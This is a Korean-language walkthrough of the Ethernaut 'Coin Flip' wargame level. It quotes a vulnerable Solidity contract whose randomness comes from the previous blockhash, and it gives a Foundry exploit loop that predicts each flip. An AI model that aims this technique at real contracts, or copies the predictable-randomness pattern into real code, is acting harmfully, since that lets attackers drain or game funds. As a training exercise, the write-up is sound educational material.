Ethernaut Challenge #3 솔루션 — 동전 던지기
과제 #3: 동전 던지기
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Things that might help
- See the Help page above, section "Beyond the console"
Level author(s): Kyle Riley
이 챌린지의 최종 목표는 올바른 추측을 전달하는
flip()
함수를 호출하여 동전 던지기 결과를 연속적으로 추측할 수 있도록 하는 것입니다.계약 연구
가장 먼저 눈에 띄는 것은 사용된 Solidity 컴파일러 버전이
< 0.8.x
입니다. 이것은 계약이 수학 언더플로 및 오버플로 버그가 발생하기 쉽다는 것을 의미합니다.이 계약은 OpenZeppelinSafeMath 라이브러리를 가져와서 사용하므로 오버플로우/언더플로우 문제에 대해 안전해야 합니다.
세 가지 상태 변수가 있습니다.
consecutiveWins
는 constructor
에서 0으로 초기화됩니다. 이 변수는 우리가 얼마나 많은 연속 정답을 맞혔는지 계산합니다FACTOR
는 57896044618658097711785492504343953926634992332820282019728792003956564819968
로 선언됩니다. 가스 최적화 팁: 가스를 절약하기 위해 constant
로 선언할 수 있습니다(자세한 내용 참조)lastHash
함수에 의해 매번 업데이트되는 flip()
컨트랙트 내부의 유일한 기능은
flip()
입니다. 이것이 무엇을 하는지 봅시다.function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
이 도전을 통해 블록체인에 대한 두 가지 중요한 측면을 배울 수 있습니다.
lastHash
및 FACTOR
와 같은 비공개 변수도 포함됩니다.참고: 이 두 가지 주제에 대해 자세히 알아보려면 기사의 "추가 정보"섹션에 몇 가지 유용한 링크를 추가했습니다.
함수의 코드를 보면 다음을 알 수 있습니다.
_guess
함수 매개변수를 계산하는 방법을 알고 있습니다. _guess = uint256(blockhash(block.number.sub(1))).div(FACTOR) == 1 ? true : false
flip()
을 호출할 수 없다는 것을 알고 있습니다. 그렇지 않으면 기능이 되돌아갑니다. 즉, 챌린지를 통과하려면 최소한 11개의 블록에 대해 정확하게 추측해야 합니다. 공장 계약을 보면 instance.consecutiveWins() >= 10
때 문제가 해결되는 것을 볼 수 있습니다.그것을 알고 해결책을 보자.
솔루션 코드
function exploitLevel() internal override {
vm.startPrank(player);
uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint8 consecutiveWinsToReach = 10;
while (level.consecutiveWins() < consecutiveWinsToReach) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(factor);
level.flip(coinFlip == 1 ? true : false);
// simulate a transaction
utilities.mineBlocks(1);
}
vm.stopPrank();
}
보시다시피 솔루션은 매우 간단합니다.
consecutiveWins()
getter가 10
에 도달했다고 말할 때까지 반복합니다.루프 내에서
flip
함수의 동일한 논리를 복제하여 CoinFlip.flip
에 전달할 값을 계산합니다.호출한 후
utilities.mineBlock(1);
를 호출합니다. 이것은 현재 블록 번호를 설정할 수 있는 Foundry 치트 코드vm.roll(targetBlock);
를 호출하는 유틸리티 기능입니다. 기본적으로 우리는 새 블록이 생성되었음을 시뮬레이션하기 위해 각 루프 섹션에서 블록 번호를 늘리는 것입니다.챌린지 오프닝의 전체 솔루션을 읽을 수 있습니다CoinFlip.t.sol.
추가 자료
Chainlink VRF (Verifiable Random Function) : 입증 가능하게 공정하고 검증 가능한 난수 생성기(RNG)
부인 성명
이 리포지토리의 모든 Solidity 코드, 관행 및 패턴은 DAMN VULNERABLE이며 교육 목적으로만 사용됩니다.
나는 어떠한 보증도 하지 않으며 이 코드베이스의 사용으로 인해 발생하는 손실에 대해 책임을 지지 않습니다.
생산에 사용하지 마십시오.
Reference
이 문제에 관하여(Ethernaut Challenge #3 솔루션 — 동전 던지기), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/stermi/ethernaut-challenge-3-solution-coin-flip-5eh6텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)